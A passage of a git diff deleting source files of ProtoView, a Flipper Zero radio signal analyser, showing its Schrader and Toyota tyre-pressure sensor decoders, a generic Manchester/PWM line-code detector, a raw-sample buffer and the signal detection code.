the LICENSE file for information about the license. - * - * Schrader variant EG53MA4 TPMS. - * Usually 443.92 Mhz OOK, 100us pulse len. - * - * Preamble: alternating pulse/gap, 100us. - * Sync (as pulses and gaps): "01100101", already part of the data stream - * (first nibble) corresponding to 0x4 - * - * A total of 10 bytes payload, Manchester encoded. - * - * 0 = 01 - * 1 = 10 - * - * Used in certain Open cars and others. - */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - const char* sync_pattern = "010101010101" - "01100101"; - uint8_t sync_len = 12 + 8; /* We just use 12 preamble symbols + sync. */ - if(numbits - sync_len + 8 < 8 * 10) return false; - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Schrader EG53MA4 TPMS preamble+sync found"); - - info->start_off = off; - off += sync_len - 8; /* Skip preamble, not sync that is part of the data. */ - - uint8_t raw[10]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester code. */ - FURI_LOG_E(TAG, "Schrader EG53MA4 TPMS decoded bits: %lu", decoded); - - if(decoded < 10 * 8) return false; /* Require the full 10 bytes. */ - - /* CRC is just all bytes added mod 256. */ - uint8_t crc = 0; - for(int j = 0; j < 9; j++) crc += raw[j]; - if(crc != raw[9]) return false; /* Require sane CRC. */ - - info->pulses_count = (off + 10 * 8 * 2) - info->start_off; - - /* To convert the raw pressure to kPa, RTL433 uses 2.5, but is likely - * wrong. Searching on Google for users experimenting with the value - * reported, the value appears to be 2.75. */ - float kpa = (float)raw[7] * 2.75; - int temp_f = raw[8]; - int temp_c = (temp_f - 32) * 5 / 9; /* Convert Fahrenheit to Celsius. */ - - fieldset_add_bytes(info->fieldset, "Tire ID", raw + 4, 3 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp_c, 8); - return true; -} - -ProtoViewDecoder SchraderEG53MA4TPMSDecoder = - {.name = "Schrader EG53MA4 TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/toyota.c b/applications/external/protoview/protocols/tpms/toyota.c deleted file mode 100644 index 3a02447b7..000000000 --- a/applications/external/protoview/protocols/tpms/toyota.c +++ /dev/null @@ -1,81 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Toyota tires TPMS. Usually 443.92 Mhz FSK (In Europe). - * - * Preamble + sync + 64 bits of data. ~48us short pulse length. - * - * The preamble + sync is something like: - * - * 10101010101 (preamble) + 001111[1] (sync) - * - * Note: the final [1] means that sometimes it is four 1s, sometimes - * five, depending on the short pulse length detection and the exact - * duration of the high long pulse. After the sync, a differential - * Manchester encoded payload follows. However the Flipper's CC1101 - * often can't decode correctly the initial alternating pattern 101010101, - * so what we do is to seek just the sync, that is "001111" or "0011111", - * however we now that it must be followed by one differenitally encoded - * bit, so we can use also the first symbol of data to force a more robust - * detection, and look for one of the following: - * - * [001111]00 - * [0011111]00 - * [001111]01 - * [0011111]01 - */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(numbits - 6 < 64 * 2) - return false; /* Ask for 64 bit of data (each bit - is two symbols in the bitmap). */ - - char* sync[] = {"00111100", "001111100", "00111101", "001111101", NULL}; - - int j; - uint32_t off = 0; - for(j = 0; sync[j]; j++) { - off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync[j]); - if(off != BITMAP_SEEK_NOT_FOUND) { - info->start_off = off; - off += strlen(sync[j]) - 2; - break; - } - } - if(off == BITMAP_SEEK_NOT_FOUND) return false; - - FURI_LOG_E(TAG, "Toyota TPMS sync[%s] found", sync[j]); - - uint8_t raw[9]; - uint32_t decoded = convert_from_diff_manchester(raw, sizeof(raw), bits, numbytes, off, true); - FURI_LOG_E(TAG, "Toyota TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 9) return false; /* Require the full 8 bytes. */ - if(crc8(raw, 8, 0x80, 7) != raw[8]) return false; /* Require sane CRC. */ - - /* We detected a valid signal. However now info->start_off is actually - * pointing to the sync part, not the preamble of alternating 0 and 1. - * Protoview decoders get called with some space to the left, in order - * for the decoder itself to fix the signal if neeeded, so that its - * logical representation will be more accurate and better to save - * and retransmit. */ - if(info->start_off >= 12) { - info->start_off -= 12; - bitmap_set_pattern(bits, numbytes, info->start_off, "010101010101"); - } - - info->pulses_count = (off + 8 * 9 * 2) - info->start_off; - - float psi = (float)((raw[4] & 0x7f) << 1 | raw[5] >> 7) * 0.25 - 7; - int temp = ((raw[5] & 0x7f) << 1 | raw[6] >> 7) - 40; - - fieldset_add_bytes(info->fieldset, "Tire ID", raw, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure psi", psi, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - return true; -} - -ProtoViewDecoder ToyotaTPMSDecoder = - {.name = "Toyota TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/unknown.c b/applications/external/protoview/protocols/unknown.c deleted file mode 100644 index ec87d59b9..000000000 --- a/applications/external/protoview/protocols/unknown.c +++ /dev/null @@ -1,326 +0,0 @@ -#include "../app.h" - -/* Copyright (C) 2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * ---------------------------------------------------------------------------- - * The "unknown" decoder fires as the last one, once we are sure no other - * decoder was able to identify the signal. The goal is to detect the - * preamble and line code used in the received signal, then turn the - * decoded bits into bytes. - * - * The techniques used for the detection are described in the comments - * below. - * ---------------------------------------------------------------------------- - */ - -/* Scan the signal bitmap looking for a PWM modulation. In this case - * for PWM we are referring to two exact patterns of high and low - * signal (each bit in the bitmap is worth the smallest gap/pulse duration - * we detected) that repeat each other in a given segment of the message. - * - * This modulation is quite common, for instance sometimes zero and - * one are rappresented by a 700us pulse followed by 350 gap, - * and 350us pulse followed by a 700us gap. So the signal bitmap received - * by the decoder would contain 110 and 100 symbols. - * - * The way this function work is commented inline. - * - * The function returns the number of consecutive symbols found, having - * a symbol length of 'symlen' (3 in the above example), and stores - * in *s1i the offset of the first symbol found, and in *s2i the offset - * of the second symbol. The function can't tell which is one and which - * zero. */ -static uint32_t find_pwm( - uint8_t* bits, - uint32_t numbytes, - uint32_t numbits, - uint32_t symlen, - uint32_t* s1i, - uint32_t* s2i) { - uint32_t best_count = 0; /* Max number of symbols found in this try. */ - uint32_t best_idx1 = 0; /* First symbol offset of longest sequence found. - * This is also the start sequence offset. */ - uint32_t best_idx2 = 0; /* Second symbol offset. */ - - /* Try all the possible symbol offsets that are less of our - * symbol len. This is likely not really useful but we take - * a conservative approach. Because if have have, for instance, - * repeating symbols "100" and "110", they will form a sequence - * that is choerent at different offsets, but out-of-sync. - * - * Anyway at the end of the function we try to fix the sync. */ - for(uint32_t off = 0; off < symlen; off++) { - uint32_t c = 0; // Number of contiguous symbols found. - uint32_t c1 = 0, c2 = 0; // Occurrences of first/second symbol. - *s1i = off; // Assume we start at one symbol boundaty. - *s2i = UINT32_MAX; // Second symbol first index still unknown. - uint32_t next = off; - - /* We scan the whole bitmap in one pass, resetting the state - * each time we find a pattern that is not one of the two - * symbols we found so far. */ - while(next < numbits - symlen) { - bool match1 = bitmap_match_bitmap(bits, numbytes, next, bits, numbytes, *s1i, symlen); - if(!match1 && *s2i == UINT32_MAX) { - /* It's not the first sybol. We don't know how the - * second look like. Assume we found an occurrence of - * the second symbol. */ - *s2i = next; - } - - bool match2 = bitmap_match_bitmap(bits, numbytes, next, bits, numbytes, *s2i, symlen); - - /* One or the other should match. */ - if(match1 || match2) { - c++; - if(match1) c1++; - if(match2) c2++; - if(c > best_count && c1 >= best_count / 5 && // Require enough presence of both - c2 >= best_count / 5) // zero and one. - { - best_count = c; - best_idx1 = *s1i; - best_idx2 = *s2i; - } - next += symlen; - } else { - /* No match. Continue resetting the signal info. */ - c = 0; // Start again to count contiguous symbols. - c1 = 0; - c2 = 0; - *s1i = next; // First symbol always at start. - *s2i = UINT32_MAX; // Second symbol unknown. - } - } - } - - /* We don't know if we are really synchronized with the bits at this point. - * For example if zero bit is 100 and one bit is 110 in a specific - * line code, our detector could randomly believe it's 001 and 101. - * However PWD line codes normally start with a pulse in both symbols. - * If that is the case, let's align. */ - uint32_t shift; - for(shift = 0; shift < symlen; shift++) { - if(bitmap_get(bits, numbytes, best_idx1 + shift) && - bitmap_get(bits, numbytes, best_idx2 + shift)) - break; - } - if(shift != symlen) { - best_idx1 += shift; - best_idx2 += shift; - } - - *s1i = best_idx1; - *s2i = best_idx2; - return best_count; -} - -/* Find the longest sequence that looks like Manchester coding. - * - * Manchester coding requires each pairs of bits to be either - * 01 or 10. We'll have to try odd and even offsets to be - * sure to find it. - * - * Note that this will also detect differential Manchester, but - * will report it as Manchester. I can't think of any way to - * distinguish between the two line codes, because shifting them - * one symbol will make one to look like the other. - * - * Only option could be to decode the message with both line - * codes and use statistical properties (common byte values) - * to determine what's more likely, but this looks very fragile. - * - * Fortunately differential Manchester is more rarely used, - * so we can assume Manchester most of the times. Yet we are left - * with the indetermination about zero being pulse-gap or gap-pulse - * or the other way around. - * - * If the 'only_raising' parameter is true, the function detects - * only sequences going from gap to pulse: this is useful in order - * to locate preambles of alternating gaps and pulses. */ -static uint32_t find_alternating_bits( - uint8_t* bits, - uint32_t numbytes, - uint32_t numbits, - uint32_t* start, - bool only_raising) { - uint32_t best_count = 0; // Max number of symbols found - uint32_t best_off = 0; // Max symbols start offset. - for(int odd = 0; odd < 2; odd++) { - uint32_t count = 0; // Symbols found so far - uint32_t start_off = odd; - uint32_t j = odd; - while(j < numbits - 1) { - bool bit1 = bitmap_get(bits, numbytes, j); - bool bit2 = bitmap_get(bits, numbytes, j + 1); - if((!only_raising && bit1 != bit2) || (only_raising && !bit1 && bit2)) { - count++; - if(count > best_count) { - best_count = count; - best_off = start_off; - } - } else { - /* End of sequence. Continue with the next - * part of the signal. */ - count = 0; - start_off = j + 2; - } - j += 2; - } - } - *start = best_off; - return best_count; -} - -/* Wrapper to find Manchester code. */ -static uint32_t - find_manchester(uint8_t* bits, uint32_t numbytes, uint32_t numbits, uint32_t* start) { - return find_alternating_bits(bits, numbytes, numbits, start, false); -} - -/* Wrapper to find preamble sections. */ -static uint32_t - find_preamble(uint8_t* bits, uint32_t numbytes, uint32_t numbits, uint32_t* start) { - return find_alternating_bits(bits, numbytes, numbits, start, true); -} - -typedef enum { - LineCodeNone, - LineCodeManchester, - LineCodePWM3, - LineCodePWM4, -} LineCodeGuess; - -static char* get_linecode_name(LineCodeGuess lc) { - switch(lc) { - case LineCodeNone: - return "none"; - case LineCodeManchester: - return "Manchester"; - case LineCodePWM3: - return "PWM3"; - case LineCodePWM4: - return "PWM4"; - } - return "unknown"; -} - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - /* No decoder was able to detect this message. Let's try if we can - * find some structure. To start, we'll see if it looks like is - * manchester coded, or PWM with symbol len of 3 or 4. */ - - /* For PWM, start1 and start2 are the offsets at which the two - * sequences composing the message appear the first time. - * So start1 is also the message start offset. Start2 is not used - * for Manchester, that does not have two separated symbols like - * PWM. */ - uint32_t start1 = 0, start2 = 0; - uint32_t msgbits; // Number of message bits in the bitmap, so - // this will be the number of symbols, not actual - // bits after the message is decoded. - uint32_t tmp1, tmp2; // Temp vars to store the start. - uint32_t minbits = 16; // Less than that gets undetected. - uint32_t pwm_len; // Bits per symbol, in the case of PWM. - LineCodeGuess linecode = LineCodeNone; - - // Try PWM3 - uint32_t pwm3_bits = find_pwm(bits, numbytes, numbits, 3, &tmp1, &tmp2); - if(pwm3_bits >= minbits) { - linecode = LineCodePWM3; - start1 = tmp1; - start2 = tmp2; - pwm_len = 3; - msgbits = pwm3_bits * pwm_len; - } - - // Try PWM4 - uint32_t pwm4_bits = find_pwm(bits, numbytes, numbits, 4, &tmp1, &tmp2); - if(pwm4_bits >= minbits && pwm4_bits > pwm3_bits) { - linecode = LineCodePWM4; - start1 = tmp1; - start2 = tmp2; - pwm_len = 4; - msgbits = pwm3_bits * pwm_len; - } - - // Try Manchester - uint32_t manchester_bits = find_manchester(bits, numbytes, numbits, &tmp1); - if(manchester_bits > minbits && manchester_bits > pwm3_bits && manchester_bits > pwm4_bits) { - linecode = LineCodeManchester; - start1 = tmp1; - msgbits = manchester_bits * 2; - //FURI_LOG_T(TAG, "MANCHESTER START: %lu", tmp1); - } - - if(linecode == LineCodeNone) return false; - - /* Often there is a preamble before the signal. We'll try to find - * it, and if it is not too far away from our signal, we'll claim - * our signal starts at the preamble. */ - uint32_t preamble_len = find_preamble(bits, numbytes, numbits, &tmp1); - uint32_t min_preamble_len = 10; - uint32_t max_preamble_distance = 32; - uint32_t preamble_start = 0; - bool preamble_found = false; - - /* Note that because of the following checks, if the Manchester detector - * detected the preamble bits as data, we are ok with that, since it - * means that the synchronization is not designed to "break" the bits - * flow. In this case we ignore the preamble and return all as data. */ - if(preamble_len >= min_preamble_len && // Not too short. - tmp1 < start1 && // Should be before the data. - start1 - tmp1 <= max_preamble_distance) // Not too far. - { - preamble_start = tmp1; - preamble_found = true; - } - - info->start_off = preamble_found ? preamble_start : start1; - info->pulses_count = (start1 + msgbits) - info->start_off; - info->pulses_count += 20; /* Add a few more, so that if the user resends - * the message, it is more likely we will - * transfer all that is needed, like a message - * terminator (that we don't detect). */ - - /*if(preamble_found) FURI_LOG_T(TAG, "PREAMBLE AT: %lu", preamble_start); - FURI_LOG_T(TAG, "START: %lu", info->start_off); - FURI_LOG_T(TAG, "MSGBITS: %lu", msgbits); - FURI_LOG_T(TAG, "DATASTART: %lu", start1); - FURI_LOG_T(TAG, "PULSES: %lu", info->pulses_count);*/ - - /* We think there is a message and we know where it starts and the - * line code used. We can turn it into bits and bytes. */ - uint32_t decoded; - uint8_t data[32]; - uint32_t datalen; - - char symbol1[5], symbol2[5]; - if(linecode == LineCodePWM3 || linecode == LineCodePWM4) { - bitmap_to_string(symbol1, bits, numbytes, start1, pwm_len); - bitmap_to_string(symbol2, bits, numbytes, start2, pwm_len); - } else if(linecode == LineCodeManchester) { - memcpy(symbol1, "01", 3); - memcpy(symbol2, "10", 3); - } - - decoded = convert_from_line_code(data, sizeof(data), bits, numbytes, start1, symbol1, symbol2); - datalen = (decoded + 7) / 8; - - char* linecode_name = get_linecode_name(linecode); - fieldset_add_str(info->fieldset, "line code", linecode_name, strlen(linecode_name)); - fieldset_add_uint(info->fieldset, "data bits", decoded, 8); - if(preamble_found) fieldset_add_uint(info->fieldset, "preamble len", preamble_len, 8); - fieldset_add_str(info->fieldset, "first symbol", symbol1, strlen(symbol1)); - fieldset_add_str(info->fieldset, "second symbol", symbol2, strlen(symbol2)); - for(uint32_t j = 0; j < datalen; j++) { - char label[16]; - snprintf(label, sizeof(label), "data[%lu]", j); - fieldset_add_bytes(info->fieldset, label, data + j, 2); - } - return true; -} - -ProtoViewDecoder UnknownDecoder = - {.name = "Unknown", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/raw_samples.c b/applications/external/protoview/raw_samples.c deleted file mode 100644 index 54773f43f..000000000 --- a/applications/external/protoview/raw_samples.c +++ /dev/null @@ -1,93 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include -#include -#include -#include -#include "raw_samples.h" - -/* Allocate and initialize a samples buffer. */ -RawSamplesBuffer* raw_samples_alloc(void) { - RawSamplesBuffer* buf = malloc(sizeof(*buf)); - buf->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - raw_samples_reset(buf); - return buf; -} - -/* Free a sample buffer. Should be called when the mutex is released. */ -void raw_samples_free(RawSamplesBuffer* s) { - furi_mutex_free(s->mutex); - free(s); -} - -/* This just set all the samples to zero and also resets the internal - * index. There is no need to call it after raw_samples_alloc(), but only - * when one wants to reset the whole buffer of samples. */ -void raw_samples_reset(RawSamplesBuffer* s) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - s->total = RAW_SAMPLES_NUM; - s->idx = 0; - s->short_pulse_dur = 0; - memset(s->samples, 0, sizeof(s->samples)); - furi_mutex_release(s->mutex); -} - -/* Set the raw sample internal index so that what is currently at - * offset 'offset', will appear to be at 0 index. */ -void raw_samples_center(RawSamplesBuffer* s, uint32_t offset) { - s->idx = (s->idx + offset) % RAW_SAMPLES_NUM; -} - -/* Add the specified sample in the circular buffer. */ -void raw_samples_add(RawSamplesBuffer* s, bool level, uint32_t dur) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - s->samples[s->idx].level = level; - s->samples[s->idx].dur = dur; - s->idx = (s->idx + 1) % RAW_SAMPLES_NUM; - furi_mutex_release(s->mutex); -} - -/* This is like raw_samples_add(), however in case a sample of the - * same level of the previous one is added, the duration of the last - * sample is updated instead. Needed mainly for the decoders build_message() - * methods: it is simpler to write an encoder of a signal like that, - * just creating messages piece by piece. - * - * This function is a bit slower so the internal data sampling should - * be performed with raw_samples_add(). */ -void raw_samples_add_or_update(RawSamplesBuffer* s, bool level, uint32_t dur) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - uint32_t previdx = (s->idx - 1) % RAW_SAMPLES_NUM; - if(s->samples[previdx].level == level && s->samples[previdx].dur != 0) { - /* Update the last sample: it has the same level. */ - s->samples[previdx].dur += dur; - } else { - /* Add a new sample. */ - s->samples[s->idx].level = level; - s->samples[s->idx].dur = dur; - s->idx = (s->idx + 1) % RAW_SAMPLES_NUM; - } - furi_mutex_release(s->mutex); -} - -/* Get the sample from the buffer. It is possible to use out of range indexes - * as 'idx' because the modulo operation will rewind back from the start. */ -void raw_samples_get(RawSamplesBuffer* s, uint32_t idx, bool* level, uint32_t* dur) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - idx = (s->idx + idx) % RAW_SAMPLES_NUM; - *level = s->samples[idx].level; - *dur = s->samples[idx].dur; - furi_mutex_release(s->mutex); -} - -/* Copy one buffer to the other, including current index. */ -void raw_samples_copy(RawSamplesBuffer* dst, RawSamplesBuffer* src) { - furi_mutex_acquire(src->mutex, FuriWaitForever); - furi_mutex_acquire(dst->mutex, FuriWaitForever); - dst->idx = src->idx; - dst->short_pulse_dur = src->short_pulse_dur; - memcpy(dst->samples, src->samples, sizeof(dst->samples)); - furi_mutex_release(src->mutex); - furi_mutex_release(dst->mutex); -} diff --git a/applications/external/protoview/raw_samples.h b/applications/external/protoview/raw_samples.h deleted file mode 100644 index 3493f07fd..000000000 --- a/applications/external/protoview/raw_samples.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -/* Our circular buffer of raw samples, used in order to display - * the signal. */ - -#define RAW_SAMPLES_NUM \ - 2048 /* Use a power of two: we take the modulo - of the index quite often to normalize inside - the range, and division is slow. */ -typedef struct RawSamplesBuffer { - FuriMutex* mutex; - struct { - uint16_t level : 1; - uint16_t dur : 15; - } samples[RAW_SAMPLES_NUM]; - uint32_t idx; /* Current idx (next to write). */ - uint32_t total; /* Total samples: same as RAW_SAMPLES_NUM, we provide - this field for a cleaner interface with the user, but - we always use RAW_SAMPLES_NUM when taking the modulo so - the compiler can optimize % as bit masking. */ - /* Signal features. */ - uint32_t short_pulse_dur; /* Duration of the shortest pulse. */ -} RawSamplesBuffer; - -RawSamplesBuffer* raw_samples_alloc(void); -void raw_samples_reset(RawSamplesBuffer* s); -void raw_samples_center(RawSamplesBuffer* s, uint32_t offset); -void raw_samples_add(RawSamplesBuffer* s, bool level, uint32_t dur); -void raw_samples_add_or_update(RawSamplesBuffer* s, bool level, uint32_t dur); -void raw_samples_get(RawSamplesBuffer* s, uint32_t idx, bool* level, uint32_t* dur); -void raw_samples_copy(RawSamplesBuffer* dst, RawSamplesBuffer* src); -void raw_samples_free(RawSamplesBuffer* s); diff --git a/applications/external/protoview/signal.c b/applications/external/protoview/signal.c deleted file mode 100644 index 71fbe823f..000000000 --- a/applications/external/protoview/signal.c +++ /dev/null @@ -1,692 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -bool decode_signal(RawSamplesBuffer* s, uint64_t len, ProtoViewMsgInfo* info); - -/* ============================================================================= - * Protocols table. - * - * Supported protocols go here, with the relevant implementation inside - * protocols/.c - * ===========================================================================*/ - -extern ProtoViewDecoder Oregon2Decoder; -extern ProtoViewDecoder B4B1Decoder; -extern ProtoViewDecoder RenaultTPMSDecoder; -extern ProtoViewDecoder ToyotaTPMSDecoder; -extern ProtoViewDecoder SchraderTPMSDecoder; -extern ProtoViewDecoder SchraderEG53MA4TPMSDecoder; -extern ProtoViewDecoder CitroenTPMSDecoder; -extern ProtoViewDecoder FordTPMSDecoder; -extern ProtoViewDecoder KeeloqDecoder; -extern ProtoViewDecoder ProtoViewChatDecoder; -extern ProtoViewDecoder UnknownDecoder; - -ProtoViewDecoder* Decoders[] = { - &Oregon2Decoder, /* Oregon sensors v2.1 protocol. */ - &B4B1Decoder, /* PT, SC, ... 24 bits remotes. */ - &RenaultTPMSDecoder, /* Renault TPMS. */ - &ToyotaTPMSDecoder, /* Toyota TPMS. */ - &SchraderTPMSDecoder, /* Schrader TPMS. */ - &SchraderEG53MA4TPMSDecoder, /* Schrader EG53MA4 TPMS. */ - &CitroenTPMSDecoder, /* Citroen TPMS. */ - &FordTPMSDecoder, /* Ford TPMS. */ - &KeeloqDecoder, /* Keeloq remote. */ - &ProtoViewChatDecoder, /* Protoview simple text messages. */ - - /* Warning: the following decoder must stay at the end of the - * list. Otherwise would detect most signals and prevent the actaul - * decoders from handling them. */ - &UnknownDecoder, /* General protocol detector. */ - NULL}; - -/* ============================================================================= - * Raw signal detection - * ===========================================================================*/ - -/* Return the time difference between a and b, always >= 0 since - * the absolute value is returned. */ -uint32_t duration_delta(uint32_t a, uint32_t b) { - return a > b ? a - b : b - a; -} - -/* Reset the current signal, so that a new one can be detected. */ -void reset_current_signal(ProtoViewApp* app) { - app->signal_bestlen = 0; - app->signal_offset = 0; - app->signal_decoded = false; - raw_samples_reset(DetectedSamples); - raw_samples_reset(RawSamples); - free_msg_info(app->msg_info); - app->msg_info = NULL; -} - -/* This function starts scanning samples at offset idx looking for the - * longest run of pulses, either high or low, that are not much different - * from each other, for a maximum of three duration classes. - * So for instance 50 successive pulses that are roughly long 340us or 670us - * will be sensed as a coherent signal (example: 312, 361, 700, 334, 667, ...) - * - * The classes are counted separtely for high and low signals (RF on / off) - * because many devices tend to have different pulse lenghts depending on - * the level of the pulse. - * - * For instance Oregon2 sensors, in the case of protocol 2.1 will send - * pulses of ~400us (RF on) VS ~580us (RF off). */ -#define SEARCH_CLASSES 3 -uint32_t search_coherent_signal(RawSamplesBuffer* s, uint32_t idx, uint32_t min_duration) { - struct { - uint32_t dur[2]; /* dur[0] = low, dur[1] = high */ - uint32_t count[2]; /* Associated observed frequency. */ - } classes[SEARCH_CLASSES]; - - memset(classes, 0, sizeof(classes)); - - // Set a min/max duration limit for samples to be considered part of a - // coherent signal. The maximum length is fixed while the minimum - // is passed as argument, as depends on the data rate and in general - // on the signal to analyze. - uint32_t max_duration = 4000; - - uint32_t len = 0; /* Observed len of coherent samples. */ - s->short_pulse_dur = 0; - for(uint32_t j = idx; j < idx + s->total; j++) { - bool level; - uint32_t dur; - raw_samples_get(s, j, &level, &dur); - - if(dur < min_duration || dur > max_duration) break; /* return. */ - - /* Let's see if it matches a class we already have or if we - * can populate a new (yet empty) class. */ - uint32_t k; - for(k = 0; k < SEARCH_CLASSES; k++) { - if(classes[k].count[level] == 0) { - classes[k].dur[level] = dur; - classes[k].count[level] = 1; - break; /* Sample accepted. */ - } else { - uint32_t classavg = classes[k].dur[level]; - uint32_t count = classes[k].count[level]; - uint32_t delta = duration_delta(dur, classavg); - /* Is the difference in duration between this signal and - * the class we are inspecting less than a given percentage? - * If so, accept this signal. */ - if(delta < classavg / 5) { /* 100%/5 = 20%. */ - /* It is useful to compute the average of the class - * we are observing. We know how many samples we got so - * far, so we can recompute the average easily. - * By always having a better estimate of the pulse len - * we can avoid missing next samples in case the first - * observed samples are too off. */ - classavg = ((classavg * count) + dur) / (count + 1); - classes[k].dur[level] = classavg; - classes[k].count[level]++; - break; /* Sample accepted. */ - } - } - } - - if(k == SEARCH_CLASSES) break; /* No match, return. */ - - /* If we are here, we accepted this sample. Try with the next - * one. */ - len++; - } - - /* Update the buffer setting the shortest pulse we found - * among the three classes. This will be used when scaling - * for visualization. */ - uint32_t short_dur[2] = {0, 0}; - for(int j = 0; j < SEARCH_CLASSES; j++) { - for(int level = 0; level < 2; level++) { - if(classes[j].dur[level] == 0) continue; - if(classes[j].count[level] < 3) continue; - if(short_dur[level] == 0 || short_dur[level] > classes[j].dur[level]) { - short_dur[level] = classes[j].dur[level]; - } - } - } - - /* Use the average between high and low short pulses duration. - * Often they are a bit different, and using the average is more robust - * when we do decoding sampling at short_pulse_dur intervals. */ - if(short_dur[0] == 0) short_dur[0] = short_dur[1]; - if(short_dur[1] == 0) short_dur[1] = short_dur[0]; - s->short_pulse_dur = (short_dur[0] + short_dur[1]) / 2; - - return len; -} - -/* Called when we detect a message. Just blinks when the message was - * not decoded. Vibrates, too, when the message was correctly decoded. */ -void notify_signal_detected(ProtoViewApp* app, bool decoded) { - static const NotificationSequence decoded_seq = { - &message_vibro_on, - &message_green_255, - &message_delay_50, - &message_green_0, - &message_vibro_off, - NULL}; - - static const NotificationSequence unknown_seq = { - &message_red_255, &message_delay_50, &message_red_0, NULL}; - - if(decoded) - notification_message(app->notification, &decoded_seq); - else - notification_message(app->notification, &unknown_seq); -} - -/* Search the source buffer with the stored signal (last N samples received) - * in order to find a coherent signal. If a signal that does not appear to - * be just noise is found, it is set in DetectedSamples global signal - * buffer, that is what is rendered on the screen. */ -void scan_for_signal(ProtoViewApp* app, RawSamplesBuffer* source, uint32_t min_duration) { - /* We need to work on a copy: the source buffer may be populated - * by the background thread receiving data. */ - RawSamplesBuffer* copy = raw_samples_alloc(); - raw_samples_copy(copy, source); - - /* Try to seek on data that looks to have a regular high low high low - * pattern. */ - uint32_t minlen = 18; /* Min run of coherent samples. With less - than a few samples it's very easy to - mistake noise for signal. */ - - uint32_t i = 0; - - while(i < copy->total - 1) { - uint32_t thislen = search_coherent_signal(copy, i, min_duration); - - /* For messages that are long enough, attempt decoding. */ - if(thislen > minlen) { - /* Allocate the message information that some decoder may - * fill, in case it is able to decode a message. */ - ProtoViewMsgInfo* info = malloc(sizeof(ProtoViewMsgInfo)); - init_msg_info(info, app); - info->short_pulse_dur = copy->short_pulse_dur; - - uint32_t saved_idx = copy->idx; /* Save index, see later. */ - - /* decode_signal() expects the detected signal to start - * from index zero .*/ - raw_samples_center(copy, i); - bool decoded = decode_signal(copy, thislen, info); - copy->idx = saved_idx; /* Restore the index as we are scanning - the signal in the loop. */ - - /* Accept this signal as the new signal if either it's longer - * than the previous undecoded one, or the previous one was - * unknown and this is decoded. */ - bool oldsignal_not_decoded = app->signal_decoded == false || - app->msg_info->decoder == &UnknownDecoder; - - if(oldsignal_not_decoded && - (thislen > app->signal_bestlen || (decoded && info->decoder != &UnknownDecoder))) { - free_msg_info(app->msg_info); - app->msg_info = info; - app->signal_bestlen = thislen; - app->signal_decoded = decoded; - raw_samples_copy(DetectedSamples, copy); - raw_samples_center(DetectedSamples, i); - FURI_LOG_E( - TAG, - "===> Displayed sample updated (%d samples %lu us)", - (int)thislen, - DetectedSamples->short_pulse_dur); - - adjust_raw_view_scale(app, DetectedSamples->short_pulse_dur); - if(app->msg_info->decoder != &UnknownDecoder) notify_signal_detected(app, decoded); - } else { - /* If the structure was not filled, discard it. Otherwise - * now the owner is app->msg_info. */ - free_msg_info(info); - } - } - i += thislen ? thislen : 1; - } - raw_samples_free(copy); -} - -/* ============================================================================= - * Decoding - * - * The following code will translates the raw singals as received by - * the CC1101 into logical signals: a bitmap of 0s and 1s sampled at - * the detected data clock interval. - * - * Then the converted signal is passed to the protocols decoders, that look - * for protocol-specific information. We stop at the first decoder that is - * able to decode the data, so protocols here should be registered in - * order of complexity and specificity, with the generic ones at the end. - * ===========================================================================*/ - -/* Set the 'bitpos' bit to value 'val', in the specified bitmap - * 'b' of len 'blen'. - * Out of range bits will silently be discarded. */ -void bitmap_set(uint8_t* b, uint32_t blen, uint32_t bitpos, bool val) { - uint32_t byte = bitpos / 8; - uint32_t bit = 7 - (bitpos & 7); - if(byte >= blen) return; - if(val) - b[byte] |= 1 << bit; - else - b[byte] &= ~(1 << bit); -} - -/* Get the bit 'bitpos' of the bitmap 'b' of 'blen' bytes. - * Out of range bits return false (not bit set). */ -bool bitmap_get(uint8_t* b, uint32_t blen, uint32_t bitpos) { - uint32_t byte = bitpos / 8; - uint32_t bit = 7 - (bitpos & 7); - if(byte >= blen) return 0; - return (b[byte] & (1 << bit)) != 0; -} - -/* Copy 'count' bits from the bitmap 's' of 'slen' total bytes, to the - * bitmap 'd' of 'dlen' total bytes. The bits are copied starting from - * offset 'soff' of the source bitmap to the offset 'doff' of the - * destination bitmap. */ -void bitmap_copy( - uint8_t* d, - uint32_t dlen, - uint32_t doff, - uint8_t* s, - uint32_t slen, - uint32_t soff, - uint32_t count) { - /* If we are byte-aligned in both source and destination, use a fast - * path for the number of bytes we can consume this way. */ - if((doff & 7) == 0 && (soff & 7) == 0) { - uint32_t didx 